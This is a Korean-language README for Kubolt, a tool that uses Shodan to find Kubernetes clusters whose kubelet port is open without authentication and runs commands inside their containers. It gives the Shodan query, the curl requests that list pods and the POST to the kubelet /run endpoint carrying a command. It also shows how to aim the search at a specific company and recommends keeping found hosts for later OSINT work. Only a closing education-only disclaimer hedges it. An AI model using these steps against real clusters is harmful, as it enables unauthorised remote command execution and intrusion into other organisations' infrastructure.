
공용 kubernetes 클러스터를 스캔하기 위한 Kubolt 유틸리티
Kubolt는 인증되지 않은 쿠버네티스 클러스터를 스캔하고 컨테이너 내부에서 명령을 실행하는 간단한 유틸리티입니다.
때때로, kubelet 포트 10250이 무단 접근에 열려 있어 kubelet의 getrun 함수를 사용하여 컨테이너 내부에서 명령을 실행할 수 있습니다:
// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
return
}
좋아요, 친구 Shodan에게 물어봅시다 :trollface:
기본 쿼리는
ssl:true port:10250 404
Kubelet은 기본적으로 SSL과 함께 10250 포트를 사용하며, 404는 URL 경로가 없는 HTTP 응답입니다.
Kubolt는 API를 통해 Shodan에 IP 주소 목록을 요청하고, 다른 OSINT 작업을 위해 보관합니다 😁
먼저, Kubelet에 실행 중인 파드를 요청하고, 응답에 Unauthorized가 포함되지 않고 container가 포함된 호스트를 필터링하여 그 안에서 명령을 실행할 수 있습니다.
curl -k https://IP-from-Shodan:10250/runningpods/
어쨌든, 현재 실행 중인 파드가 없는 호스트를 발견하면, 나중에 파드가 시작될 때를 위해 보관하세요 😁
다음 요청으로 사용 가능한 모든 파드를 나열할 수 있습니다:
curl -k https://IP-from-Shodan:10250/pods/
#또는
curl http://IP-from-Shodan:10255/pods/
다음으로 kubolt는 응답을 파싱하고 아래와 같은 새 요청을 생성합니다:
curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<command-to-run>"
Shodan 필터를 사용하여 더 정확하게 회사를 타겟팅할 수 있습니다:
mkdir output
pip install -r requirements.txt
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
#또는
python kubolt.py --query "org:'ACME Corporation' country:UK"
Kubolt는 Shodan API와 쿼리 크레딧을 사용합니다. 쿼리 필터 없이 도구를 실행하면 모든 크레딧을 소진할 가능성이 있습니다 ¯\_(ツ)_/¯

제공된 도구는 교육 목적으로만 사용해야 합니다. 저자는 도구의 오용에 대해 책임을 지지 않습니다. 저자는 도구 사용으로 인한 직간접적인 손해에 대해 책임을 지지 않습니다.